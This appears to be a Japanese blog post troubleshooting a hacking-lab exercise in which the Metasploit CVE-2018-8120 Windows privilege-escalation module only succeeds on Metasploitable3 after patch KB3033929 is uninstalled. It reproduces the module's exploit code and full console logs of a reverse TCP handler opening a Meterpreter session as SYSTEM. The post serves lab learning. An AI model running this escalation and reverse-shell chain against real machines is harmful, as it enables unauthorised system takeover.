0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

ハッキング・ラボのつくりかた P1086 windows/local/ms18_8120_win32k_privescが刺さらない場合の解決方法

Posted at

事象

「ハッキング・ラボのつくりかた」P1086で、windows/local/ms18_8120_win32k_privescを実行する項目があります。

しかし、エクスプロイトを実行してもExploit completed, but no session was createdとなり、セッションが張れませんでした。

msf6 exploit(windows/local/ms18_8120_win32k_privesc) > exploit
[*] Started reverse TCP handler on 192.168.178.36:4445 
[*] Reading payload from file /usr/share/metasploit-framework/data/exploits/CVE-2018-8120/CVE-2018-8120x64.exe
[*] EXE's name is: O3r4oyv31Z.exe
[!] Attempting to write CWCOKFpKgkN.exe to C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp
[+] CWCOKFpKgkN.exe written
[*] Payload uploaded to temp folder
[!] Attempting to write O3r4oyv31Z.exe to C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp
[+] O3r4oyv31Z.exe written
[*] Location of CVE-2018-8120.exe is: C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\O3r4oyv31Z.exe
[*] Executing command : "C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\O3r4oyv31Z.exe" "C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\CWCOKFpKgkN.exe"
[+] Exploit finished, wait for privileged payload execution to complete.
[*] Exploit completed, but no session was created.

解決策

Metasploitable3に適用されているKB3033929のパッチをアンインストールします。

該当のセキュリティパッチをアンインストール後、エクスプロイトを再度実行するとセッションが張れました。

msf6 exploit(windows/local/ms18_8120_win32k_privesc) > exploit 
[*] Started reverse TCP handler on 192.168.178.36:4445 
[*] Targeting x64 system
[*] Reading payload from file /usr/share/metasploit-framework/data/exploits/CVE-2018-8120/CVE-2018-8120x64.exe
[*] EXE's name is: ERGbgHH0fF.exe
[!] Attempting to write zItjGA.exe to C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp
[+] zItjGA.exe written to local: /home/kali/exploits/CVE-2018-8120/zItjGA.exe
[+] zItjGA.exe written
[*] Payload uploaded to temp folder
[!] Attempting to write ERGbgHH0fF.exe to C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp
[+] ERGbgHH0fF.exe written to local: /home/kali/exploits/CVE-2018-8120/ERGbgHH0fF.exe
[+] ERGbgHH0fF.exe written
[*] Location of CVE-2018-8120.exe is: C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\ERGbgHH0fF.exe
[*] Executing command : "C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\ERGbgHH0fF.exe" "C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\zItjGA.exe"
[*] Sending stage (177734 bytes) to 192.168.178.201
[+] Exploit finished, wait for privileged payload execution to complete.
[*] Meterpreter session 6 opened (192.168.178.36:4445 -> 192.168.178.201:49276) at 2025-09-06 01:24:59 -0400
[-] Failed to delete C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\zItjGA.exe: stdapi_fs_delete_file: Operation failed: Access is denied.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

セキュリティパッチのアンインストール方法

Control Panelを起動します。

image.png

Programsを開きます。

image.png

Programs and Featuresを開きます。

image.png

左にあるView installed updatesを開くと、どのセキュリティパッチがインストールされているかわかります。

KB3033929はアンインストール済みなので、表示されていません。

image.png

削除したいパッチの番号を右クリックすると、アンインストールできます。

image.png

原因

分かる範囲でエクスプロイトが刺さらない場合の事象と原因を書きます。
アンインストールしたセキュリティパッチの内容までは深堀れていないので、根本原因は不明です。

EXEが片方作成されない

モジュールの最終的な挙動は、cve_exeexe_payloadの2つのEXEファイルを作成し、cve_exeの引数でexe_payloadを実行するというものです。

2つのEXEファイルは、ターゲットのWindowsマシン上に作成されます。

ms18_8120_win32k_privesc.rb

(省略)

  def exploit
    cve_fname = check_arch
    rexe = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8120', cve_fname)
    vprint_status("Reading payload from file #{rexe}")
    raw = File.read(rexe)

    rexename = "#{Rex::Text.rand_text_alphanumeric(10)}.exe"
    vprint_status("EXE's name is: #{rexename}")
    exe = generate_payload_exe
    tempexename = "#{Rex::Text.rand_text_alpha(6..14)}.exe"

    exe_payload = write_file_to_target(tempexename, exe)
    vprint_status('Payload uploaded to temp folder')
    cve_exe = write_file_to_target(rexename, raw)
    command = "\"#{cve_exe}\" \"#{exe_payload}\""
    vprint_status("Location of CVE-2018-8120.exe is: #{cve_exe}")
    register_file_for_cleanup(exe_payload)

    vprint_status("Executing command : #{command}")
    cmd_exec_get_pid(command)
    print_good('Exploit finished, wait for privileged payload execution to complete.')
  end
end

ただ実際には、該当パッチが当たっている際に、エクスプロイトモジュールを実行してもEXEファイルが片方作成されていませんでした。
なぜかエクスプロイトモジュールのログでは、ファイルの作成に成功したと出力されます。

[+] CWCOKFpKgkN.exe written

Fail to alloc null page!

生成された方のEXEファイルを、Windows側で直接実行するとFail to alloc null page!と出力されます。

[+] Detected kernel ntoskrnl.exe
[-] Fail to alloc null page!

このエラーを調べると、下記Issueを発見しました。
CVE-2018-8120は、windows/local/ms18_8120_win32k_privescが悪用しているCVE番号です。

CVE-2018-8120についての詳しい記事は、下記が見つかりました。

このIssueの中でKB3033929のパッチが関係しているというコメントがされていました。

試しにKB3033929のパッチをアンインストールすると、エクスプロイトモジュールの実行に成功し、システム権限を取得できました。

msf6 exploit(windows/local/ms18_8120_win32k_privesc) > exploit 
[*] Started reverse TCP handler on 192.168.178.36:4445 
[*] Targeting x64 system
[*] Reading payload from file /usr/share/metasploit-framework/data/exploits/CVE-2018-8120/CVE-2018-8120x64.exe
[*] EXE's name is: ERGbgHH0fF.exe
[!] Attempting to write zItjGA.exe to C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp
[+] zItjGA.exe written to local: /home/kali/exploits/CVE-2018-8120/zItjGA.exe
[+] zItjGA.exe written
[*] Payload uploaded to temp folder
[!] Attempting to write ERGbgHH0fF.exe to C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp
[+] ERGbgHH0fF.exe written to local: /home/kali/exploits/CVE-2018-8120/ERGbgHH0fF.exe
[+] ERGbgHH0fF.exe written
[*] Location of CVE-2018-8120.exe is: C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\ERGbgHH0fF.exe
[*] Executing command : "C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\ERGbgHH0fF.exe" "C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\zItjGA.exe"
[*] Sending stage (177734 bytes) to 192.168.178.201
[+] Exploit finished, wait for privileged payload execution to complete.
[*] Meterpreter session 6 opened (192.168.178.36:4445 -> 192.168.178.201:49276) at 2025-09-06 01:24:59 -0400
[-] Failed to delete C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\zItjGA.exe: stdapi_fs_delete_file: Operation failed: Access is denied.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

エクスプロイト用のEXEファイルも両方作成されてる事を、確認できました。

image.png

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?